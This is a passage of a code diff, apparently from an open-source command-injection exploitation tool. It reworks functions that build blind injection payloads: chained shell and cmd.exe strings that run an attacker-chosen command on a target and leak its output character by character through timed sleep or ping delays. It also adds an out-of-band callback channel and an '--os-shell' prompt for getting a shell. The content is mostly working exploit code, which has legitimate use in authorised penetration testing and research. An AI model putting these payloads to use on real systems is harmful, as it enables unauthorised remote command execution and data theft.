_urllib.parse.quote("&&") : ampersand = _urllib.parse.quote("&") payload = (ampersand + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + - settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'))\"" + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "1=" + _py_length_expr(cmd) + separator + "[ " + str(candidate_length) + " -le ${" + settings.RANDOM_VAR_GENERATOR + "1} ] " + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\") " ) elif separator in ("|", "||"): pipe = "|" payload = (pipe + - "[ " + str(candidate_length) + " -gt " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'))\") ] " + "||" + + "[ " + str(candidate_length) + " -gt " + _py_length_expr(cmd) + " ] " + "||" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) else: @@ -457,46 +427,35 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met inverted_operator = "-gt" if operator == "-le" else "-ne" arith_operator = "<=" if operator == "-le" else "==" if settings.TARGET_OS == settings.OS.WINDOWS: - if separator in ("|", "||"): - pipe = "|" - payload = (pipe + - "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write ([int][char](([string](cmd /c " + - cmd + ")).trim()).substring(" + str(num_of_chars-1) + ",1))\"') do if %i " + win_operator + settings.SINGLE_WHITESPACE + str(ascii_char) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" - ) - elif separator == _urllib.parse.quote("&&") : - ampersand = _urllib.parse.quote("&") - payload = (ampersand + - "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write ([int][char](([string](cmd /c " + - cmd + ")).trim()).substring(" + str(num_of_chars-1) + ",1))\"') do if %i " + win_operator + settings.SINGLE_WHITESPACE + str(ascii_char) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" - ) - else: - pass + chain = checks.windows_separator(separator) + if chain is not None: + # The ordinal has to be computed on the target: cmd.exe's IF compares strings by locale + # collation ('M' GEQ 'a' holds), so only a numeric compare can be binary searched. + payload = checks.windows_probe(chain, + "powershell.exe -InputFormat none write " + "([int][char](([string](cmd /c " + cmd + ")).trim().substring(" + + str(num_of_chars - 1) + ",1)))", + win_operator, ascii_char, timesec) else: - cmd_exec = cmd - if settings.USE_BACKTICKS: - cmd_exec = settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX settings.USER_APPLIED_CMD = cmd + word = _output_word(cmd) qmarks = "?" * (num_of_chars - 1) - ordinal_expr = "$(printf '%d' \"'${" + settings.RANDOM_VAR_GENERATOR + "}\")" - pure_ordinal_expr = ("$(printf '%d' \"'$(cut -c" + str(num_of_chars) + " <(printf '%s' \"" + - settings.CMD_SUB_PREFIX + "echo \"" + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + - "\"))\")") + var_ordinal_expr = "$(printf '%d' \"'${" + settings.RANDOM_VAR_GENERATOR + "}\")" + ordinal_expr = _ordinal_expr(word, num_of_chars) if separator in (";", "%0a", "%0d%0a") : payload = (separator + # Grab the execution output. - settings.RANDOM_VAR_GENERATOR + "=\"" + settings.CMD_SUB_PREFIX + "echo \"" + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + "\"" + separator + + settings.RANDOM_VAR_GENERATOR + "=\"" + word + "\"" + separator + settings.RANDOM_VAR_GENERATOR + "=\"${" + settings.RANDOM_VAR_GENERATOR + "#" + qmarks + "}\"" + separator + settings.RANDOM_VAR_GENERATOR + "=\"${" + settings.RANDOM_VAR_GENERATOR + "%\"${" + settings.RANDOM_VAR_GENERATOR + "#?}\"}\"" + separator + - "sleep $((" + str(timesec) + "*(" + str(ascii_char) + arith_operator + ordinal_expr + ")))" + "sleep $((" + str(timesec) + "*(" + str(ascii_char) + arith_operator + var_ordinal_expr + ")))" ) elif separator == "%26": payload = (separator + - "[ " + str(ascii_char) + settings.SINGLE_WHITESPACE + operator + settings.SINGLE_WHITESPACE + pure_ordinal_expr + " ]" + "&&" + + "[ " + str(ascii_char) + settings.SINGLE_WHITESPACE + operator + settings.SINGLE_WHITESPACE + ordinal_expr + " ]" + "&&" + "sleep " + str(timesec) ) @@ -505,18 +464,18 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met payload = (ampersand + "sleep 0 " + separator + # Grab the execution output. - settings.RANDOM_VAR_GENERATOR + "=\"" + settings.CMD_SUB_PREFIX + "echo \"" + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + "\"" + separator + + settings.RANDOM_VAR_GENERATOR + "=\"" + word + "\"" + separator + settings.RANDOM_VAR_GENERATOR + "=\"${" + settings.RANDOM_VAR_GENERATOR + "#" + qmarks + "}\"" + separator + settings.RANDOM_VAR_GENERATOR + "=\"${" + settings.RANDOM_VAR_GENERATOR + "%\"${" + settings.RANDOM_VAR_GENERATOR + "#?}\"}\"" + separator + # Perform the time-based comparisons - "[ " + str(ascii_char) + settings.SINGLE_WHITESPACE + operator + settings.SINGLE_WHITESPACE + ordinal_expr + " ] " + separator + + "[ " + str(ascii_char) + settings.SINGLE_WHITESPACE + operator + settings.SINGLE_WHITESPACE + var_ordinal_expr + " ] " + separator + "sleep " + str(timesec) ) elif separator in ("|", "||"): pipe = "|" payload = (pipe + - "[ " + str(ascii_char) + settings.SINGLE_WHITESPACE + inverted_operator + settings.SINGLE_WHITESPACE + pure_ordinal_expr + " ]" + "||" + + "[ " + str(ascii_char) + settings.SINGLE_WHITESPACE + inverted_operator + settings.SINGLE_WHITESPACE + ordinal_expr + " ]" + "||" + "sleep " + str(timesec) ) else: @@ -536,38 +495,22 @@ def get_char_alter_interpreter(separator, cmd, num_of_chars, ascii_char, timesec inverted_operator = "-gt" if operator == "-le" else "-ne" arith_operator = "<=" if operator == "-le" else "==" if settings.TARGET_OS == settings.OS.WINDOWS: - python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print(ord(os.popen('" + cmd + "').read().strip()[" + str(num_of_chars-1) + ":" + str(num_of_chars) + "]))\"" - if separator in ("|", "||"): - pipe = "|" - payload = (pipe + settings.SINGLE_WHITESPACE + - "for /f \"tokens=*\" %i in ('cmd /c " + - python_payload + - "') do if %i " + win_operator + settings.SINGLE_WHITESPACE + str(ascii_char) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" - ) - - elif separator == _urllib.parse.quote("&&") : - ampersand = _urllib.parse.quote("&") - payload = (ampersand + settings.SINGLE_WHITESPACE + - "for /f \"tokens=*\" %i in ('cmd /c " + - python_payload + - "') do if %i " + win_operator + settings.SINGLE_WHITESPACE + str(ascii_char) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" - ) - else: - pass + chain = checks.windows_separator(separator) + if chain is not None: + python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print(ord(os.popen('" + cmd + "').read().strip()[" + str(num_of_chars-1) + ":" + str(num_of_chars) + "]))\"" + payload = checks.windows_probe(chain, python_payload, win_operator, ascii_char, timesec) else: settings.USER_APPLIED_CMD = cmd if separator in (";", "%0a", "%0d%0a"): payload = (separator + - settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "=" + _py_ordinal_expr(cmd, num_of_chars) + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep($((" + str(timesec) + "*(" + str(ascii_char) + arith_operator + "${" + settings.RANDOM_VAR_GENERATOR + "}))))\"" + settings.CMD_SUB_SUFFIX ) elif separator == "%26": payload = (separator + - "[ " + str(ascii_char) + settings.SINGLE_WHITESPACE + operator + settings.SINGLE_WHITESPACE + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\"" + settings.CMD_SUB_SUFFIX + " ]" + "&&" + + "[ " + str(ascii_char) + settings.SINGLE_WHITESPACE + operator + settings.SINGLE_WHITESPACE + _py_ordinal_expr(cmd, num_of_chars) + " ]" + "&&" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) @@ -575,7 +518,7 @@ def get_char_alter_interpreter(separator, cmd, num_of_chars, ascii_char, timesec ampersand = _urllib.parse.quote("&") payload = (ampersand + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + - settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "=" + _py_ordinal_expr(cmd, num_of_chars) + separator + "[ " + str(ascii_char) + settings.SINGLE_WHITESPACE + operator + settings.SINGLE_WHITESPACE + "${" + settings.RANDOM_VAR_GENERATOR + "} ] " + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) @@ -584,7 +527,7 @@ def get_char_alter_interpreter(separator, cmd, num_of_chars, ascii_char, timesec elif separator in ("|", "||"): pipe = "|" payload = (pipe + - "[ " + str(ascii_char) + settings.SINGLE_WHITESPACE + inverted_operator + settings.SINGLE_WHITESPACE + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\") ] " + "||" + + "[ " + str(ascii_char) + settings.SINGLE_WHITESPACE + inverted_operator + settings.SINGLE_WHITESPACE + _py_ordinal_expr(cmd, num_of_chars) + " ] " + "||" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) @@ -598,91 +541,15 @@ def get_char_alter_interpreter(separator, cmd, num_of_chars, ascii_char, timesec return payload -""" -Get the execution output, of shell execution. -""" -def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method): - payload = "" - if settings.TARGET_OS == settings.OS.WINDOWS: - if separator in ("|", "||"): - pipe = "|" - payload = (pipe + settings.SINGLE_WHITESPACE + - "for /f \"tokens=*\" %i in ('cmd /c \"" + - cmd + - "\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" - ) - elif separator == _urllib.parse.quote("&&") : - ampersand = _urllib.parse.quote("&") - payload = (ampersand + settings.SINGLE_WHITESPACE + - "for /f \"tokens=*\" %i in ('cmd /c \"" + - cmd + - "\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" - ) - else: - pass - - else: - if separator in (";", "%0a", "%0d%0a"): - payload = (separator + - settings.RANDOM_VAR_GENERATOR + "=\"" + settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + "\"" + separator + - "sleep $((" + str(timesec) + "*(" + str(ascii_char) + "==$" + settings.RANDOM_VAR_GENERATOR + ")))" - ) - - elif separator == "%26": - payload = (separator + - "[ " + str(ascii_char) + " -eq \"" + settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + "\" ]" + "&&" + - "sleep " + str(timesec) - ) - - elif separator == _urllib.parse.quote("&&") : - ampersand = _urllib.parse.quote("&") - payload = (ampersand + - "sleep 0 " + separator + - settings.RANDOM_VAR_GENERATOR + "=\"" + settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + "\"" + separator + - "[ " + str(ascii_char) + " -eq $" + settings.RANDOM_VAR_GENERATOR + " ] " + separator + - "sleep " + str(timesec) - ) - - elif separator in ("|", "||"): - pipe = "|" - payload = (pipe + - "[ " + str(ascii_char) + " -ne \"" + settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + "\" ]" + "||" + - "sleep " + str(timesec) - ) - else: - pass - - if settings.CUSTOM_INJECTION_MARKER: - payload = checks.append_custom_marker(payload, separator) - - return payload - """ __Warning__: The alternative shells are still experimental. """ def fp_result_alter_interpreter(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method): payload = "" if settings.TARGET_OS == settings.OS.WINDOWS: - if separator in ("|", "||"): - pipe = "|" - payload = (pipe + settings.SINGLE_WHITESPACE + - "for /f \"tokens=*\" %i in ('cmd /c " + - cmd + - "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" - ) - elif separator == _urllib.parse.quote("&&") : - ampersand = _urllib.parse.quote("&") - payload = (ampersand + settings.SINGLE_WHITESPACE + - "for /f \"tokens=*\" %i in ('cmd /c " + - cmd + - "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" - ) - else: - pass + chain = checks.windows_separator(separator) + if chain is not None: + payload = checks.windows_probe(chain, cmd, "==", ascii_char, timesec) else: if separator in (";", "%0a", "%0d%0a"): diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 713cb2fd02..96969be6d6 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -125,7 +125,8 @@ def injection_techniques_status(): settings.EVAL_BASED_STATE != True and \ settings.TIME_BASED_STATE != True and \ settings.FILE_BASED_STATE != True and \ - settings.TEMPFILE_BASED_STATE != True : + settings.TEMPFILE_BASED_STATE != True and \ + settings.OOB_STATE != True : return False else: return True @@ -354,12 +355,23 @@ def metasploit_missing(): return True """ -Suggest '--os-shell', unless it is already in play. +Suggest '--os-shell', unless it is already in play. Held back rather than printed here: it is +advice about the next run, so it belongs with the last lines of this one and not in the middle of +the output of whatever the finding is being used for. """ def suggest_os_shell(): if not menu.options.os_shell: - info_msg = "Re-run with the '--os-shell' switch to access a command shell." - settings.print_data_to_stdout(settings.print_warning_msg(info_msg)) + settings.OS_SHELL_SUGGESTION_PENDING = True + +""" +Print the held-back '--os-shell' suggestion, once, wherever the run ends. +""" +def flush_os_shell_suggestion(): + if not settings.OS_SHELL_SUGGESTION_PENDING: + return + settings.OS_SHELL_SUGGESTION_PENDING = False + warn_msg = "Re-run with the '--os-shell' switch to access a command shell." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ Quit - hard_exit ends the process immediately (os._exit), otherwise SystemExit unwinds normally. @@ -378,6 +390,7 @@ def quit(filename, url, hard_exit): entry = settings.PENDING_OS_SHELL_ENTRY settings.PENDING_OS_SHELL_ENTRY = None entry() + close_oob_channel() # Only ask to delete the output file now, at actual exit. for cleanup_fn in list(settings.PENDING_FILE_CLEANUPS.values()): cleanup_fn() @@ -1055,10 +1068,24 @@ def prompt_keep_testing(url): drops the "command injection"/"injection" filler word and the trailing "technique" word. """ def summary_technique_label(technique): - technique = short_technique_label(technique) - if technique.endswith(" technique"): - technique = technique[:-len(" technique")] - return technique[0].upper() + technique[1:] + label = short_technique_label(technique) + if label.endswith(" technique"): + label = label[:-len(" technique")] + label = label[0].upper() + label[1:] + if technique == settings.INJECTION_TECHNIQUE.OOB and oob_channel_label(): + label += " (" + oob_channel_label() + ")" + return label + +""" +Name the channel an out-of-band finding came back over - a name lookup, or an HTTP(S) request. +""" +def oob_channel_label(transport=None): + transport = transport or settings.OOB_TRANSPORT + if not transport: + return "" + if transport == "dns": + return "DNS" + return (settings.OOB_SCHEME or "https").upper() """ Name the boundary combination a finding was confirmed with - logged, not printed. @@ -1201,14 +1228,35 @@ def continue_tests(err): except KeyboardInterrupt: raise +""" +The options a Windows target cannot serve, already reported. +""" +UNAVAILABLE_OPTIONS = set() + """ Check if option is unavailable """ def unavailable_option(check_option): + # Reported once, wherever it was first said - the users enumeration says it in passing. + if check_option in UNAVAILABLE_OPTIONS: + return + UNAVAILABLE_OPTIONS.add(check_option) warn_msg = "The option '" + check_option + "' " warn_msg += "is currently not supported on Windows targets." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) +""" +No permission to list the target's users - said together with the password enumeration that a +Windows target cannot serve either, so the two do not take a line each. +""" +def no_user_enumeration_permission(): + warn_msg = "It seems you do not have permission to enumerate operating system users" + if settings.TARGET_OS == settings.OS.WINDOWS and menu.options.passwords: + warn_msg += ", and the option '--passwords' is not supported on Windows targets" + UNAVAILABLE_OPTIONS.add("--passwords") + warn_msg += "." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + """ Information message if platform does not have GNU 'readline' module installed. @@ -1633,7 +1681,7 @@ def check_lagging(): if len(settings.RESPONSE_TIMES) > 1 and statistics.pstdev(settings.RESPONSE_TIMES) > settings.WARN_TIME_STDEV: settings.LAGGING_DETECTED = settings.JITTER_SEEN = settings.ADJUST_TIME_DELAY_DISABLED = True warn_msg = "Detected considerable lagging in the connection response(s). " - warn_msg += "Consider using a higher '--time-sec' value (e.g. 10 or more)." + warn_msg += "Consider using a higher '--time-sec' value (e.g. '10' or more)." settings.print_data_to_stdout(settings.print_critical_msg(warn_msg)) return settings.LAGGING_DETECTED @@ -1858,6 +1906,10 @@ def tamper_modify_letters_outside_quotes(payload, repl): Apply "transform" outside single-quoted spans only - single quotes suppress expansion, so anything injected there stays literal and corrupts the argument. """ def tamper_outside_single_quotes(payload, transform): + # cmd.exe gives a single quote no meaning of its own, so a span in them is not a literal to be + # left alone - the whitespace inside a 'for /f' command would go out unencoded. + if settings.TARGET_OS == settings.OS.WINDOWS: + return transform(payload) parts = re.split(r"('[^']*')", payload) return "".join(part if part.startswith("'") else transform(part) for part in parts) @@ -1945,7 +1997,8 @@ def tamper_scripts(stored_tamper_scripts): elif len([x for x in provided_scripts if any(y in x for y in ["nested", "doublequotes"])]) == 2 and not settings.LOAD_SESSION: _ = True warn_msg = "The combination of the provided tamper scripts " - if _: + if _ and not settings.TAMPER_WARNING_SHOWN: + settings.TAMPER_WARNING_SHOWN = True warn_msg += "is not a good idea (may cause false positive / negative results)." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) @@ -2598,13 +2651,11 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi logs.add_line(filename, " * " + name, group="users") logs.report_add_enumeration("users", name) else: - warn_msg = "It seems you do not have permission to enumerate operating system users." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + no_user_enumeration_permission() except TypeError: pass except IndexError: - warn_msg = "It seems you do not have permission to enumerate operating system users." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + no_user_enumeration_permission() pass # Unix-like users enumeration. @@ -3211,6 +3262,89 @@ def init_keep_alive(): debug_msg = "Persistent (Keep-Alive) connections were disabled (incompatible with " + reason + ")." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) +""" +Bring the out-of-band channel up, once, on first use. +""" +def init_oob_channel(): + if settings.OOB_CHANNEL is not None: + return settings.OOB_CHANNEL + settings.OOB_SERVER = menu.options.oob_server or "" + settings.OOB_TOKEN = menu.options.oob_token or "" + if menu.options.oob_transport: + from src.core.injections.blind.techniques.oob import oob_payloads as oob_payloads + transport = str(menu.options.oob_transport).strip().lower() + known = oob_payloads.WINDOWS_TRANSPORTS if settings.TARGET_OS == settings.OS.WINDOWS else oob_payloads.UNIX_TRANSPORTS + if transport not in known: + err_msg = "The option '--oob-transport' takes one of: " + ", ".join("'" + _ + "'" for _ in known) + "." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + settings.OOB_TRANSPORT = transport + for option, attribute in (("--oob-timeout", "OOB_TIMEOUT"), ("--oob-poll", "OOB_POLL_INTERVAL")): + value = menu.options.oob_timeout if attribute == "OOB_TIMEOUT" else menu.options.oob_poll + try: + value = int(value) + except (TypeError, ValueError): + value = 0 + if value < 1: + err_msg = "The option '" + option + "' must be a positive integer number of seconds." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + setattr(settings, attribute, value) + + # A wait can only observe an interaction if a poll falls inside it, after the interaction lands. + # Polling no more often than the wait would leave that to chance, and a missed one is not a slow + # result but a lost finding - '--smart' drops the parameter on a negative heuristic. + if settings.OOB_POLL_INTERVAL * 2 > settings.OOB_TIMEOUT: + adjusted = max(1, settings.OOB_TIMEOUT // 2) + if adjusted != settings.OOB_POLL_INTERVAL: + warn_msg = "Polling every " + str(settings.OOB_POLL_INTERVAL) + " second" + warn_msg += "s"[settings.OOB_POLL_INTERVAL == 1:] + warn_msg += " is too seldom for a " + str(settings.OOB_TIMEOUT) + "-second wait, so " + warn_msg += "interactions could be missed. Polling every " + str(adjusted) + " second" + warn_msg += "s"[adjusted == 1:] + " instead." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + settings.OOB_POLL_INTERVAL = adjusted + + from src.core.oob import provider + channel = provider.build() + try: + channel.start() + except SystemExit: + raise + except Exception as err: + err_msg = provider.tls_error(err) or ("Unable to reach the out-of-band server (" + str(err) + ").") + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + settings.OOB_CHANNEL = channel + # The server is reached over both, so what the payloads use is the target's side of the choice: + # a host with no TLS of its own, or one that only lets 443 out, needs the other one. + settings.OOB_SCHEME = channel.scheme + settings.OOB_PORT = getattr(channel, "port", None) + if menu.options.oob_scheme: + scheme = str(menu.options.oob_scheme).strip().lower().rstrip(":/") + if scheme not in ("http", "https"): + err_msg = "The option '--oob-scheme' takes either 'http' or 'https'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + settings.OOB_SCHEME = scheme + settings.OOB_IGNORE_TIMEOUT = True + notice = channel.server_notice() + if notice: + settings.print_data_to_stdout(settings.print_info_msg(notice)) + return channel + +""" +Tear the out-of-band channel down. +""" +def close_oob_channel(): + if settings.OOB_CHANNEL is not None: + if not settings.OOB_CHANNEL.seen_any and settings.OOB_STATE != True: + warn_msg = "No interaction of any kind reached the out-of-band server, so the channel itself " + warn_msg += "was never proven to work. Check the target's egress and the channel's settings." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + settings.OOB_CHANNEL.stop() + settings.OOB_CHANNEL = None + """ Apply the optimization switches ('-o'). """ @@ -3334,6 +3468,9 @@ def technique_label(injection_type, technique): name = short_technique_label(technique) if name.endswith(" technique"): name = name[:-len(" technique")] + # The channel belongs with the technique's own name, ahead of the injection type. + if technique == settings.INJECTION_TECHNIQUE.OOB and oob_channel_label(): + name += " (" + oob_channel_label() + ")" return name + settings.SINGLE_WHITESPACE + injection_type.split(settings.SINGLE_WHITESPACE)[0] + " technique" """ @@ -3566,6 +3703,126 @@ def windows_only_attack_vector(): error_msg = "This attack vector is available only for Windows targets." settings.print_data_to_stdout(settings.print_error_msg(error_msg)) +""" +The operator a Windows payload starts with, or None when the separator does not chain commands in +cmd.exe at all - ';', a newline and Ctrl-Z do not, so there is no payload to build for those. +""" +WINDOWS_SEPARATORS = ("%26", "%26%26", "|", "||", "") + +def windows_separator(separator): + return separator if separator in WINDOWS_SEPARATORS else None + +""" +Report whether the target's shell runs a second command after this separator at all. A name lookup +can still betray an injection point through one that does not - cmd.exe reads ';' as an argument +separator, so the payload lands as another argument of the target's own command - but nothing can +be run through it afterwards. +""" +def separator_chains(separator): + if settings.TARGET_OS == settings.OS.WINDOWS: + return windows_separator(separator) is not None + return True + +""" +The operator a payload chains its own commands with, once it has started with the separator under +test. Unconditional, unlike '||' and '|', so every part runs no matter how the first one ended. +""" +WINDOWS_CHAIN = "%26" + +""" +What a Windows payload ends with when its last token is a filename or a quoted literal. cmd.exe has +no comment character, but 'rem' ignores whatever follows it, so anything the target's own command +line carries after the payload - a closing quote, another argument - lands there instead of inside +that token. +""" +WINDOWS_TAIL = WINDOWS_CHAIN + "rem" + settings.SINGLE_WHITESPACE + +""" +The same, for a POSIX shell: '#' starts a comment, so an unterminated quote or a leftover argument +after the payload is read as one too, instead of swallowing the payload's own last token. +""" +UNIX_TAIL = settings.SINGLE_WHITESPACE + settings.COMMENT + +""" +End a payload so that whatever the target's own command line carries after it is ignored. +""" +def shell_tail(): + return WINDOWS_TAIL if settings.TARGET_OS == settings.OS.WINDOWS else UNIX_TAIL + +""" +Hold the answer back for a number of seconds, without starting a PowerShell process. + +'ping' waits about a second between echoes, so one more than the delay takes that many seconds. It +is on every Windows, including the versions that have no 'timeout' command, and it starts at once - +where a PowerShell launch costs a second or two of its own and varies from call to call, which is +noise a timing measurement cannot afford. +""" +def windows_sleep(timesec): + return ("ping -n " + str(int(timesec) + 1) + settings.SINGLE_WHITESPACE + "127.0.0.1" + + settings.SINGLE_WHITESPACE + ">nul") + +""" +Whether the decision payload holds the answer back for one candidate length alone. The Windows one +compares the marker straight back instead of measuring its length, so every candidate is answered +the same way - and the shape of a sample of those says nothing about a false positive. +""" +def decision_is_length_based(): + return settings.TARGET_OS != settings.OS.WINDOWS + +""" +The delay a time-related payload asks the target for, in seconds. The same on either target: the +answer is told apart from an undelayed one by a threshold that sits just above the target's own +response times, so seconds beyond that are paid on every probe of every character for nothing. +""" +def injected_delay(timesec): + return int(timesec) + +""" +Read a value off a Windows command and hold the answer back when it stands in the given relation +('EQU', 'GEQ', ...) to the expected one. +""" +def windows_probe(chain, cmd, operator, expected, timesec): + # Quoted, so that an operator inside the command stays part of it - but left alone when the + # command carries double quotes of its own, which cmd.exe would then pair up with the added ones. + if "\"" not in cmd: + cmd = "\"" + cmd + "\"" + # The tail matters more here than anywhere else: the delay is asked for by a command that ends in + # a redirection, and a closing quote the target's own command line carries after it would be read + # as part of the redirect's filename - which fails, so the delay never happens and the answer + # comes back on time as if nothing had been injected. + # Run through 'cmd /c', or the comparison is lost whenever the payload starts on a pipe: the shell + # a pipe spawns for its right-hand side has no command extensions, and 'EQU'/'GEQ' are one - the + # test then never runs, no delay is asked for, and the separator reads as not injectable. + return (chain + + "for /f \"tokens=*\" %i in ('cmd /c " + cmd + "') do cmd /c if %i " + operator + + settings.SINGLE_WHITESPACE + str(expected) + settings.SINGLE_WHITESPACE + + windows_sleep(timesec) + WINDOWS_TAIL) + +""" +Report whether an interaction carries the result of the sum the payload asked the target to work +out. Without a sum to check, any interaction counts. +""" +def oob_proof_holds(interactions, expected): + if not expected: + return bool(interactions) + for interaction in interactions: + lines = (interaction.raw_request or "").splitlines() + # Only the request line, so that a number appearing in a header cannot stand in for the result. + if lines and expected in lines[0]: + return True + return False + +""" +Return the body of a raw HTTP request captured by an out-of-band server. +""" +def oob_request_body(raw_request): + if not raw_request: + return "" + for delimiter in ("\r\n\r\n", "\n\n"): + if delimiter in raw_request: + return raw_request.split(delimiter, 1)[1] + return "" + """ Append the separator once more if a custom injection marker changed where the payload lands - the shared tail repeated across every payloads.py. """ diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 0590cdf7c9..2c47598eb9 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -32,6 +32,7 @@ from src.core.injections.controller import checks from src.thirdparty.six.moves import urllib as 